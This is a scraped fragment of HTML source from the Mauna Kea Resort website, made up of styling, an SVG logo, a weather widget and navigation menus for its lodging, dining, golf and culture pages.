3423.nav-westin-hapuna-beach-resort .sn-link:hover{text-decoration:none!important;color:#529d6e!important}.nav-westin-hapuna-beach-resort span{display:inline-block;position:relative}.nav-westin-hapuna-beach-resort span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;content:'';position:absolute;top:calc(100% - 1px);left:0;width:0;height:1px;background-color:#529d6e!important;pointer-events:none}@media screen and (max-width:1023px){.nav-westin-hapuna-beach-resort span:after{content:none}}.nav-on-site-medical-care .sn-link:hover{text-decoration:none!important;color:#529d6e!important}.nav-on-site-medical-care span{display:inline-block;position:relative}.nav-on-site-medical-care span:after{-webkit-transition:width .35s;-moz-transition:width .35s;-ms-transition:width .35s;transition:width .35s;content:'';position:absolute;top:calc(100% - 1px);left:0;width:0;height:1px;background-color:#529d6e!important;pointer-events:none}@media screen and (max-width:1023px){.nav-on-site-medical-care span:after{content:none}}.nav-westin-hapuna-beach-resort .level3 a:hover{color:#529d6e!important}@media(hover:hover){.nav-westin-hapuna-beach-resort .level3 a:hover{color:#529d6e}.nav-westin-hapuna-beach-resort .level3 a:hover::before{background-color:#529d6e}}.primary-nav>li.nav-mauna-kea-beach-hotel{display:none!important}</style>
3424
3425
3426<style>
3427  .MuiPaper-root h6.MuiTypography-root { color: #fff; }
3428  input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; }
3429</style>
3430
3431
3432<a href="#main-content" class="ada-hidden skip-nav-link">Skip to main content</a>
3433
3434
3435
3436
3437<header class="site-header" role="banner">    
3438
3439    <style>.hello-bar{background-color:#ff671f;color:#fff;text-align:center;padding:.25em 2em .25em 2em}.hello-bar:focus-visible{outline:none}.hello-bar>.inner{text-align:center;padding:.25em 0}.hello-bar h3{font-size:.9rem;margin:0;line-height:1.25em}@media screen and (max-width:991.98px){.hello-bar h3{margin:0 0 .5em;width:100%}}.hello-bar p{line-height:1.4em}.hello-bar p:last-of-type{margin-bottom:0}.hello-bar a{color:currentColor}.hello-bar a:hover{color:#000}.is-westin .hello-bar{background-color:#529d6e}@media screen and (max-width:767px){.hello-bar br.desk-only{display:none}}.hb-close{position:absolute;top:0;right:.25em}.hb-close i{font-size:1.35rem}.popup-countdown-container{display:flex;align-items:center;justify-content:center}@media screen and (max-width:991.98px){.popup-countdown-container{flex-wrap:wrap}}.popup-countdown-container .countdown #clockdiv{display:flex;gap:1.5rem;margin:0 1.5rem}.popup-countdown-container .countdown .time-item{box-sizing:border-box;text-align:center;position:relative;z-index:2;font-size:10px;display:block;text-align:center;text-transform:uppercase;letter-spacing:2px;line-height:1.6em}.popup-countdown-container .countdown .time-item:last-child{border-right:none;background-repeat:no-repeat}.popup-countdown-container .countdown .time-item>span{font-size:1rem;font-weight:700;letter-spacing:.075em}.popup-countdown-container .cyber-link{display:inline-block;font-size:.75rem;background-color:#000;color:#fff;margin:.5rem 0;padding:.65em 1em;border-radius:2em;white-space:nowrap;text-transform:uppercase}.popup-countdown-container .cyber-link:hover{background-color:#fff;color:#000}</style>
3440
3441
3442
3443
3444
3445
3446<script>
3447	_hdmq.add(function () {
3448		
3449		// close hello bar
3450		$('.js-hb-close').on('click', function() {
3451			$('.hello-bar').slideUp();
3452		});
3453		
3454	});
3455</script>
3455
3456
3457
3458
3459
3460
3461    <div class="cf inner site-header-inner">
3462
3463   
3464        
3465        <div class="site-logo"><a href="/"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 501.54 196.46"><title>Mauna Kea Resort</title><path class="sl-1" d="M253.38 0a14.28 14.28 0 0 0-4.3.67 12.48 12.48 0 0 0-7.55 6.22c-5 9.14 1 22.38 9.87 29.18 3.28-8.21 7.64-12.54 11.16-16 1-1 1.88-1.86 2.68-2.76a7.21 7.21 0 0 0 1.75-6.39c-.62-3.87-3.43-7.31-7.71-9.45a12.47 12.47 0 0 0-5.9-1.47ZM253.22 39.5a36.28 36.28 0 0 1 .84 16.6 60.33 60.33 0 0 0-.45 3.58c-.19 3.07.49 5.39 2.08 7.08 2.09 2.23 5.73 3.31 11.12 3.31a12.47 12.47 0 0 0 9.49-4.62 10.18 10.18 0 0 0 2.33-8.53c-1.72-10.32-14.71-15.84-25.3-17.43Z"/><path class="sl-1" d="M251.27 39.69c-6.05 3.56-14.22 4.93-19.66 5.83a9.05 9.05 0 0 0-5.77 5.32 14.92 14.92 0 0 0-.08 12c3.61 6.76 10.37 9.15 16.83 5.92 12.86-6.5 9.86-23.83 8.68-28.99ZM229.51 16.56a12.45 12.45 0 0 0-9.35 4.3 13.94 13.94 0 0 0-4 10.19 12 12 0 0 0 4.48 8.47c2.67 2.47 7.59 3.48 13.84 2.84a46.71 46.71 0 0 0 15.68-4.54c-6.21-4.72-9.76-9.42-11.83-15.65a8.28 8.28 0 0 0-6.58-5.4 11.55 11.55 0 0 0-2.24-.21ZM253.24 37.19a58 58 0 0 1 15.54 4.53c1.26.52 2.46 1 3.69 1.47 2.53 1 5.77.48 8.87-1.34 3.59-2.1 6.1-5.42 6.56-8.67a15.22 15.22 0 0 0-2.75-11.24 11.2 11.2 0 0 0-7.7-4.24c-10.48-.91-20.49 9.14-24.21 19.49Z"/><g><path class="sl-2" d="M427.01 131.26c-.89 0-14.7.48-14.49-2.68.25-3.92 19.8-3.49 23.91-2.7 1.62.31 3.65.91 3.47 2.48s-5.08 2.7-12.89 2.9ZM286.1 136.57c-.66 0-10.83.47-10.68-2.69.19-3.91 14.6-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.74 2.67-9.5 2.91ZM479.81 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/><path class="sl-3" d="M2.86 128.32c1-2.39 1.78-4.84 2.93-7.14 4.95-9.91 17.06-11 24.12-2.41 3.41 4.17 4.94 9.27 7.48 13.87 2.73 5 4.59 5.05 7.44.23 2.27-3.82 4.25-7.81 6.59-11.58 3.19-5.12 7.05-9.17 14-8s9.47 6.23 10.83 12a40.18 40.18 0 0 1 1 15.26c-.27 1.88-.83 3.8-3.29 3.5-2.08-.26-2.35-1.93-2.3-3.74a45.47 45.47 0 0 0-2-15.15c-.81-2.53-1.93-5.23-4.91-5.69-3.29-.51-4.52 2.43-5.75 4.65-2.46 4.46-4.12 9.33-7.06 13.57-6 8.64-13.7 8.65-19.21-.33-2.65-4.32-4.55-9.1-6.83-13.66-1.21-2.45-2.93-5.1-5.66-5-3.1.06-4.42 3.13-5.42 5.8a68.56 68.56 0 0 0-2.93 12.51c-.39 2.41-.77 5.38-2 6.07s-5.08.77-7.26-.19c-3.71-1.62-2.56-4.45-2.18-6.29.48-2.34 1.6-5.41 2.41-8.28ZM341.19 116.84c.13-2.53.83-5.25 4.07-5.14 2.88.09 3.61 3 3.71 5 .06 1.16-.83 6.88 4.83 4.66a147.44 147.44 0 0 1 29-9.41c2.86-.57 5.27-.47 5.92 2.56.75 3.51-2.54 3.36-4.62 3.65a150.58 150.58 0 0 0-23.1 5.25c-1.63.51-4 .94-3.89 3.15.08 1.8 2.21 2.22 3.73 2.8 8.53 3.26 17.53 4.5 26.46 6 1.78.31 4.67.3 4.7 2.49.22 2.73-1.26 4.59-4 5.6-4.1 1.52-7.83-.12-11.6-1.12a99 99 0 0 1-23.11-9.74c-3.56-2-4.17-.87-4.09 2.46a27.18 27.18 0 0 1-.18 5c-.33 2-1.06 3.88-3.65 4-2.83.17-4-1.76-4.12-4-.23-4.01-.25-19.58-.06-23.21ZM199.32 122.41c2.51-8.73 10.34-11.94 18.72-7 6 3.53 9.42 8.72 13.65 14 2.23 2.79 5.23 7.15 9.15 6.22 4.12-1 4.25-5.87 4.51-9.32.28-3.91-.06-6.6 0-9.91 0-1.67.32-2.95 2.32-3.12a2.83 2.83 0 0 1 3.27 2.34c1.72 6.76 3.29 13.55 1 20.49-2.47 7.6-10.71 10.25-18.36 5.94-5.68-3.2-9.24-8.41-12.87-13.55-1.71-2.43-3.32-4.93-5.12-7.29-1.42-1.87-3-3.26-5.8-3-2.1.22-4 2.08-4.54 5.74s-.21 9.83.07 15.2c.1 1.92.57 4.36-2.15 4.82s-3.39-1.77-4.12-3.92c-.96-2.79-1.71-10.79.27-17.64ZM501.45 143.26c-.3.94-1.38 1.07-3.2 1.07s-2.47-1.53-2.57-2.87c-.38-5.26-.72-10.52-2.78-15.5-2.22-5.38-6.06-8.41-12-8.85s-10.21 2.34-12.94 7.39a33.2 33.2 0 0 0-4.1 16.1c0 2.8-1.36 4.11-3.81 4-2.25 0-4.66-.34-5.4-3.32-2.31-9.26 6.24-23.64 15.39-27.88 11.85-5.48 27.15 1.58 30.47 16.61.62 2.91 1.32 11.92.94 13.25Z"/><path class="sl-4" d="M189.38 118.36c-.38 14.35-9.25 24.8-21.51 25.75a23.78 23.78 0 0 1-25.29-26.69c.35-3 1.84-4.52 4.82-4.32s5.21 1.34 5 4.81a23.62 23.62 0 0 0 2.28 11c2.1 4.75 5.35 8.12 11.06 8.49 6.54.43 11.65-1.55 14.93-7.47a27.37 27.37 0 0 0 3-11.34c.18-2.22-.8-5.63 3.2-5.38 2.85.2 2.48 3.42 2.51 5.15Z"/><path class="sl-5" d="M427.73 144.59c-9 0-16.47-1.26-22.91-5.92-9.71-7-9-16.33 1.42-22.34 8.74-5 19.68-4.69 27.55-3.52a49.72 49.72 0 0 1 6.75 1.48c1.18.37 2.41.94 2.17 2.43s-1.42 1.88-2.94 1.64c-2.77-.43-5.51-1.14-8.3-1.42-7.82-.81-14.18.92-16.67 2.15-4 2-6.82 4.61-6.89 8.79s2.76 6.64 6 8.42c7.49 4.08 15.59 3.68 23.7 2.62.81-.1 1.88-.38 2.69-.49 1.76-.25 2.91.59 3 2.18.11 1.3-1.28 2.14-2.66 2.49a58.33 58.33 0 0 1-12.91 1.49ZM133.69 138.64a15 15 0 0 1 .06 2.21c-.05 1-.2 3.13-2.41 3.22a2.5 2.5 0 0 1-2.78-2.79 32.06 32.06 0 0 0-1.73-10.69c-2.44-7.89-7.59-11.49-15.86-11.22-6.36.2-11.45 4.73-13.18 12a32.22 32.22 0 0 0-1.08 7.79c0 3.88-2.42 4.85-5.38 4.9-3.16.05-4-2-3.78-5 .73-9 3.43-17.2 11.21-22.57 9.72-6.72 28.06-4.73 32.85 11.5a57.83 57.83 0 0 1 2.08 10.65Z"/><path class="sl-4" d="M307.51 137.55c0 1.63.05 2.62 0 3.61-.09 1.42-.67 2.7-2.19 2.88a2.63 2.63 0 0 1-3-2.67 36 36 0 0 0-2.34-9.59c-2.72-7.16-8.27-11.14-14.86-11s-11.25 4-14 11.35a51.54 51.54 0 0 0-2.26 9.06c-.27 1.44-.9 3.08-2.85 2.83a2.74 2.74 0 0 1-2.33-2.86c.09-9.1 1.06-18.16 9-24.12 7.18-5.42 15.49-5.68 23.38-1.58 8.98 4.74 10.76 13.57 11.45 22.09Z"/><path class="sl-2" d="M112.97 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/></g><g><path class="sl-6" d="m186.45 195.99-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.56 2.56 0 0 0 1.08-2.26 2.52 2.52 0 0 0-1-2.25 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM201.61 195.99v-18.56h15.13v2.83h-11.83v4.84h11.26v2.78h-11.26v5.38h12.4l-.47 2.78ZM242.23 182.55a4.67 4.67 0 0 0-1.09-1.74 4.17 4.17 0 0 0-1.69-.94 9.56 9.56 0 0 0-2.53-.28 9.17 9.17 0 0 0-3.87.66 2.07 2.07 0 0 0-1.38 1.91 2 2 0 0 0 .9 1.77 8.3 8.3 0 0 0 3.13.94l3.85.5
34657a9.3 9.3 0 0 1 4.77 1.83 4.66 4.66 0 0 1 1.52 3.68 4.57 4.57 0 0 1-2.25 4.07 11.66 11.66 0 0 1-6.3 1.44q-4.43 0-6.7-1.53a6.33 6.33 0 0 1-2.66-4.76h3.33a3.8 3.8 0 0 0 1.78 2.79 8.24 8.24 0 0 0 4.25.88 8 8 0 0 0 3.86-.76 2.34 2.34 0 0 0 1.34-2.13 2.08 2.08 0 0 0-.92-1.79 6.77 6.77 0 0 0-2.88-.94l-3.33-.49a16.28 16.28 0 0 1-4.08-1.07 4.84 4.84 0 0 1-2.18-1.75 5 5 0 0 1-.65-2.65 4.36 4.36 0 0 1 2.25-3.89 12.08 12.08 0 0 1 6.31-1.39 13.58 13.58 0 0 1 4.18.55 6.21 6.21 0 0 1 2.72 1.66 6.81 6.81 0 0 1 1.49 2.91ZM278.03 186.71a10.09 10.09 0 0 1-1.27 5.11 8.57 8.57 0 0 1-3.65 3.42 13.63 13.63 0 0 1-11.14.06 8.47 8.47 0 0 1-3.69-3.36 11 11 0 0 1-.05-10.34 8.63 8.63 0 0 1 3.65-3.42 12.28 12.28 0 0 1 5.64-1.22 12.46 12.46 0 0 1 5.5 1.16 8.43 8.43 0 0 1 3.69 3.37 10 10 0 0 1 1.32 5.22Zm-3.41 0a6.93 6.93 0 0 0-1.86-5.15 8.41 8.41 0 0 0-10.5 0 8 8 0 0 0 0 10.3 8.37 8.37 0 0 0 10.5 0 6.87 6.87 0 0 0 1.86-5.15ZM303.98 195.99l-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.94 2.94 0 0 0 .05-4.51 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM324.7 195.99v-15.73h-7.48v-2.78h18.28v2.78h-7.49v15.78Z"/></g></svg></a></div>
3466        
3467
3468        <nav class="mobile-utility">
3469        </nav>
3470
3471        <div class="nav-panel">
3472            <nav class="utility">
3473                <ul class="unstyled-list utility-nav">
3474                    <li class="un-ww">
3475                        <div class="weather-widget">
3476                            
3477                            <img class="weather-icon" src="/images/layout/icons/weather/nfew.svg" alt="today's weather" />
3478                            <span class="high">82&deg;F</span> 
3479                            <span class="pipe">|</span> 
3480                            <span class="low">27&deg;C</span>
3481                        </div>
3482                    </li>
3483                    
3484                    <li><a href="/mauna-kea-beach-hotel/take-a-tour">Take a Tour</a></li>
3485                    <li><a href="/special-offers">Specials</a></li>
3486                    <li><a href="/the-club">The Club</a></li>
3487                    <li><a href="tel:1-877-880-6524">877.880.6524</a></li>                    
3488                </ul>
3489            </nav>
3490            <nav class="site-nav" role="navigation">
3491                <ul id="menubar1" hdmtype="navpackages" class="unstyled-list primary-nav level1">
3492<li data-pid="655" class="nav-home"><a href="https://www.maunakearesort.com/home" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Home</span></a>
3493</li><li data-pid="3" class="nav-stay"><a href="https://www.maunakearesort.com/stay/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Stay</span></a>
3494<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3495<li class="nav-mauna-kea-beach-hotel"><a href="https://www.maunakearesort.com/stay/mauna-kea-beach-hotel/" class="sn-link"  ><span>Mauna Kea Beach Hotel</span></a>
3496<ul class="unstyled-list level3">
3497<li><a href="https://www.maunakearesort.com/stay/mauna-kea-beach-hotel/renovation"  >Renovation</a>
3498</li></ul>
3499</li><li class="nav-westin-hapuna-beach-resort"><a href="https://www.maunakearesort.com/stay/westin-hapuna-beach-resort" class="sn-link"  ><span>The Westin Hapuna Beach Resort</span></a>
3500</li><li class="nav-mauna-kea-residences"><a href="https://www.maunakearesort.com/stay/mauna-kea-residences" class="sn-link"  ><span>Mauna Kea Residences</span></a>
3501</li><li class="nav-specials-and-packages"><a href="https://www.maunakearesort.com/stay/specials-and-packages" class="sn-link"  ><span>Specials & Packages</span></a>
3502</li><li class="nav-photo-video-gallery"><a href="https://www.maunakearesort.com/stay/photo-video-gallery" class="sn-link"  ><span>Take a Tour</span></a>
3503</li><li class="nav-on-site-medical-care"><a href="https://www.maunakearesort.com/stay/on-site-medical-care" class="sn-link"  ><span>On-Site Medical Care</span></a>
3504</li><li class="nav-accessible-rooms"><a href="https://www.maunakearesort.com/stay/accessible-rooms" class="sn-link"  ><span>Accessible Rooms</span></a>
3505</li><li class="nav-laundry-valet"><a href="https://www.maunakearesort.com/stay/laundry-valet" class="sn-link"  ><span>Laundry Valet</span></a>
3506</li></ul>
3507</div></div><div class="col col-2"></div></div></div></li><li data-pid="4" class="nav-play"><a href="https://www.maunakearesort.com/play/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Play</span></a>
3508<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3509<li class="nav-resort-happenings"><a href="https://www.maunakearesort.com/play/resort-happenings/" class="sn-link"  ><span>Resort Happenings</span></a>
3510<ul class="unstyled-list level3">
3511<li><a href="https://www.maunakearesort.com/play/resort-happenings/event-calendar"  >Event Calendar</a>
3512</li><li><a href="https://www.maunakearesort.com/play/resort-happenings/luau"  >Mauna Kea Luau</a>
3513</li><li><a href="https://www.maunakearesort.com/play/resort-happenings/webcam"  >Live Webcam View</a>
3514</li><li><a href="https://www.maunakearesort.com/play/resort-happenings/interactive-map"  >Interactive Map</a>
3515</li></ul>
3516</li><li class="nav-activities"><a href="https://www.maunakearesort.com/play/activities/" class="sn-link"  ><span>Activities</span></a>
3517<ul class="unstyled-list level3">
3518<li><a href="https://www.maunakearesort.com/play/activities/resort-retail"  >Resort Retail</a>
3519</li><li><a href="https://www.maunakearesort.com/play/activities/beach-and-pool"  >Beach & Pool </a>
3520</li><li><a href="https://www.maunakearesort.com/play/activities/tennis"  >Tennis & Pickleball</a>
3521</li><li><a href="https://www.maunakearesort.com/play/activities/bocce-ball"  >Bocce Ball</a>
3522</li><li><a href="https://www.maunakearesort.com/play/activities/kids-programs"  >Kids Programs</a>
3523</li><li><a href="https://www.maunakearesort.com/play/activities/online-shopping"  target='_blank'>Online Shopping</a>
3524</li></ul>
3525</li><li class="nav-wellness"><a href="https://www.maunakearesort.com/play/wellness/" class="sn-link"  ><span>Wellbeing</span></a>
3526<ul class="unstyled-list level3">
3527<li><a href="https://www.maunakearesort.com/play/wellness/spa-salon"  >Spa & Salon</a>
3528</li><li><a href="https://www.maunakearesort.com/play/wellness/fitness"  >Fitness</a>
3529</li></ul>
3530</li><li class="nav-cultural-activities"><a href="https://www.maunakearesort.com/play/cultural-activities" class="sn-link"  ><span>Cultural Activities</span></a>
3531</li><li class="nav-live-webcams"><a href="https://www.maunakearesort.com/play/live-webcams" class="sn-link"  target='_blank'><span>Live Webcams</span></a>
3532</li><li class="nav-island-activities"><a href="https://www.maunakearesort.com/play/island-activities" class="sn-link"  ><span>Island Activities</span></a>
3533</li><li class="nav-tesla-experience"><a href="https://www.maunakearesort.com/play/tesla-experience" class="sn-link"  ><span>Tesla Experience</span></a>
3534</li><li class="nav-gopro-experience"><a href="https://www.maunakearesort.com/play/gopro-experience" class="sn-link"  ><span>GoPro Experience</span></a>
3535</li><li class="nav-beach-and-pool"><a href="https://www.maunakearesort.com/play/beach-and-pool" class="sn-link"  ><span>Beach & Pool</span></a>
3536</li></ul>
3537</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/play.jpg?042088944173523446" alt="Adventure Awaits" class="object-fit"></div><figcaption>Adventure Awaits</figcaption></figure><p><span data-teams="true"><span class="ui-provider a b c d e f g h i j k l m n o p q r s t u v w x y z ab ac ae af ag ah ai aj ak" dir="ltr">Discover events and activities to make the most of your stay on our island home.</span></span></p><p><a gaq='Nav,Promo-AdventureAwaits' href="https://maunakearesort.com/play/" class="lm">Learn more</a></p></div></div></div></div></li><li data-pid="5" class="nav-dine"><a href="https://www.maunakearesort.com/dine/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Dine</span></a>
3538<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3539<li class="nav-overview"><a href="https://www.maunakearesort.com/dine/overview" class="sn-link"  ><span>Overview</span></a>
3540</li><li class="nav-signature"><a href="https://www.maunakearesort.com/dine/signature/" class="sn-link"  ><span>Signature</span></a>
3541<ul class="unstyled-list level3">
3542<li><a href="https://www.maunakearesort.com/dine/signature/manta"  >Manta</a>
3543</li><li><a href="https://www.maunakearesort.com/dine/signature/meridia"  >Meridia</a>
3544</li><li><a href="https://www.maunakearesort.com/dine/signature/mauna-kea-luau"  >The Mauna Kea Luau</a>
3545</li></ul>
3546</li><li class="nav-quick"><a href="https://www.maunakearesort.com/dine/quick/" class="sn-link"  ><span>Quick</span></a>
3547<ul class="unstyled-list level3">
3548<li><a href="https://www.maunakearesort.com/dine/quick/mauna-kea-market"  >Mauna Kea Market</a>
3549</li><li><a href="https://www.maunakearesort.com/dine/quick/plumeria-market"  >Plumeria Market</a>
3550</li><li><a href="https://www.maunakearesort.com/dine/quick/piko"  >Piko Coffee + Bar</a>
3551</li></ul>
3552</li><li class="nav-casual"><a href="https://www.maunakearesort.com/dine/casual/" class="sn-link"  ><span>Casual</span></a>
3553<ul class="unstyled-list level3">
3554<li><a href="https://www.maunakearesort.com/dine/casual/copper-bar"  >Copper Bar</a>
3555</li><li><a href="https://www.maunakearesort.com/dine/casual/hau-tree"  >Hau Tree</a>
3556</li><li><a href="https://www.maunakearesort.com/dine/casual/ikena-landing"  >
3556Ikena Landing</a>
3557</li><li><a href="https://www.maunakearesort.com/dine/casual/naupaka-beach-grill"  >Naupaka Beach Grill</a>
3558</li><li><a href="https://www.maunakearesort.com/dine/casual/islander-sake-brewery"  >Islander Sake Brewery</a>
3559</li><li><a href="https://www.maunakearesort.com/dine/casual/manta-breakfast"  >Manta Breakfast </a>
3560</li></ul>
3561</li><li class="nav-in-room-dining"><a href="https://www.maunakearesort.com/dine/in-room-dining/" class="sn-link"  ><span>In-Room Dining</span></a>
3562<ul class="unstyled-list level3">
3563<li><a href="https://www.maunakearesort.com/dine/in-room-dining/mauna-kea-beach-hotel"  >Mauna Kea Beach Hotel</a>
3564</li><li><a href="https://www.maunakearesort.com/dine/in-room-dining/the-westin-hapuna-beach-resort"  >The Westin Hapuna Beach Resort</a>
3565</li></ul>
3566</li><li class="nav-private-dining"><a href="https://www.maunakearesort.com/dine/private-dining" class="sn-link"  ><span>Private Dining</span></a>
3567</li></ul>
3568</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/luau-415x210.jpg?08021080155647267" alt="Experience A Kohala Coast Tradition" class="object-fit"></div><figcaption>Experience A Kohala Coast Tradition</figcaption></figure><p>The Mauna Kea Hawaiian LÅ«&lsquo;au completes the experience with a taste of culture shared by means of music, food, and family tradition on the Island of Hawai&lsquo;i.&nbsp;</p><p><a gaq='Nav,Promo-ExperienceAKohalaCoastTradition' href="/dine/signature/mauna-kea-luau" class="lm">Book Now</a></p></div></div></div></div></li><li data-pid="6" class="nav-gather"><a href="https://www.maunakearesort.com/gather/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Gather</span></a>
3569<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3570<li class="nav-overview"><a href="https://www.maunakearesort.com/gather/overview" class="sn-link"  ><span>Overview</span></a>
3571</li><li class="nav-mauna-kea-beach-hotel"><a href="https://www.maunakearesort.com/gather/mauna-kea-beach-hotel/" class="sn-link"  ><span>Mauna Kea Beach Hotel</span></a>
3572<ul class="unstyled-list level3">
3573<li><a href="https://www.maunakearesort.com/gather/mauna-kea-beach-hotel/meetings"  >Meetings</a>
3574</li><li><a href="https://www.maunakearesort.com/gather/mauna-kea-beach-hotel/weddings"  >Weddings</a>
3575</li></ul>
3576</li><li class="nav-westin-hapuna-beach-resort"><a href="https://www.maunakearesort.com/gather/westin-hapuna-beach-resort/" class="sn-link"  ><span>The Westin Hapuna Beach Resort</span></a>
3577<ul class="unstyled-list level3">
3578<li><a href="https://www.maunakearesort.com/gather/westin-hapuna-beach-resort/meetings"  >Meetings</a>
3579</li><li><a href="https://www.maunakearesort.com/gather/westin-hapuna-beach-resort/weddings"  >Weddings</a>
3580</li></ul>
3581</li><li class="nav-special-events"><a href="https://www.maunakearesort.com/gather/special-events" class="sn-link"  ><span>Special Events</span></a>
3582</li></ul>
3583</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/gather.jpg?07516313770842098" alt="Gather" class="object-fit"></div><figcaption>Gather</figcaption></figure><p>Every event is touched by aloha and tailored by our dedicated team to meet each client&rsquo;s specific needs.</p><p><a gaq='Nav,Promo-Gather' href="" class="lm"></a></p></div></div></div></div></li><li data-pid="7" class="nav-golf"><a href="https://www.maunakearesort.com/golf/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Golf</span></a>
3584<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3585<li class="nav-course-overview"><a href="https://www.maunakearesort.com/golf/course-overview/" class="sn-link"  ><span>Course Overview</span></a>
3586<ul class="unstyled-list level3">
3587<li><a href="https://www.maunakearesort.com/golf/course-overview/mauna-kea-golf-course"  >Mauna Kea Golf Course</a>
3588</li><li><a href="https://www.maunakearesort.com/golf/course-overview/hapuna-golf-course"  >Hapuna Golf Course</a>
3589</li></ul>
3590</li><li class="nav-tee-times"><a href="https://www.maunakearesort.com/golf/tee-times" class="sn-link"  ><span>Tee Times</span></a>
3591</li><li class="nav-photo-gallery"><a href="https://www.maunakearesort.com/golf/photo-gallery" class="sn-link"  ><span>Photo Gallery</span></a>
3592</li><li class="nav-caddy-corner-tips"><a href="https://www.maunakearesort.com/golf/caddy-corner-tips" class="sn-link"  ><span>Caddy Corner / Tips</span></a>
3593</li><li class="nav-golf-packages"><a href="https://www.maunakearesort.com/golf/golf-packages" class="sn-link"  ><span>Golf Packages</span></a>
3594</li></ul>
3595</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/golf.jpg?012880319254268224" alt="Mauna Kea Golf Package" class="object-fit"></div><figcaption>Mauna Kea Golf Package</figcaption></figure><p>10% off Best Available Rates, Daily Buffet Breakfast for Two, 50% off Green Fees at Mauna Kea Golf Course&nbsp;</p><p><a gaq='Nav,Promo-MaunaKeaGolfPackage' href="https://www.marriott.com/reservation/availability.mi?propertyCode=KOAAK&cc=YQ5&scid=undefined" class="lm">Learn more</a></p></div></div></div></div></li><li data-pid="8" class="nav-culture"><a href="https://www.maunakearesort.com/culture/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Culture </span></a>
3596<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3597<li class="nav-overview"><a href="https://www.maunakearesort.com/culture/overview" class="sn-link"  ><span>Overview</span></a>
3598</li><li class="nav-currents"><a href="https://www.maunakearesort.com/culture/currents" class="sn-link"  ><span>Currents</span></a>
3599</li><li class="nav-history"><a href="https://www.maunakearesort.com/culture/history" class="sn-link"  ><span>History</span></a>
3600</li><li class="nav-art-collection"><a href="https://www.maunakearesort.com/culture/art-collection" class="sn-link"  ><span>Art Collection</span></a>
3601</li><li class="nav-discovery-center"><a href="https://www.maunakearesort.com/culture/discovery-center" class="sn-link"  ><span>Discovery Center</span></a>
3602</li><li class="nav-island-culture"><a href="https://www.maunakearesort.com/culture/island-culture" class="sn-link"  ><span>Island Culture</span></a>
3603</li><li class="nav-sustainability"><a href="https://www.maunakearesort.com/culture/sustainability" class="sn-link"  ><span>Sustainability</span></a>
3604</li><li class="nav-on-property-cultural-activities"><a href="https://www.maunakearesort.com/culture/on-property-cultural-activities" class="sn-link"  ><span>On-Property Cultural Activities</span></a>
3605</li></ul>
3606</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/ArtApp_mobilehand.JPG?07695134876102387" alt="Immersive Art App" class="object-fit"></div><figcaption>Immersive Art App</figcaption></figure><p>From Hawaiian Quilts to traditional Kapa, learn what inspired this collection of unique pieces of art and rare artifacts using our new web-based art app!</p><p><a gaq='Nav,Promo-ImmersiveArtApp' href="https://www.maunakearesort.com/art-app" class="lm">Learn more</a></p></div></div></div></div></li><li data-pid="572" class="nav-mauna-kea-beach-hotel"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Mauna Kea Beach Hotel</span></a>
3607<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3608<li class="nav-our-story"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/" class="sn-link"  ><span>Our Story</span></a>
3609<ul class="unstyled-list level3">
3610<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/aloha/"  >Aloha</a>
3611</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/aina/"  >Aina</a>
3612</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/art-and-culture/"  >Art & Culture</a>
3613</li></ul>
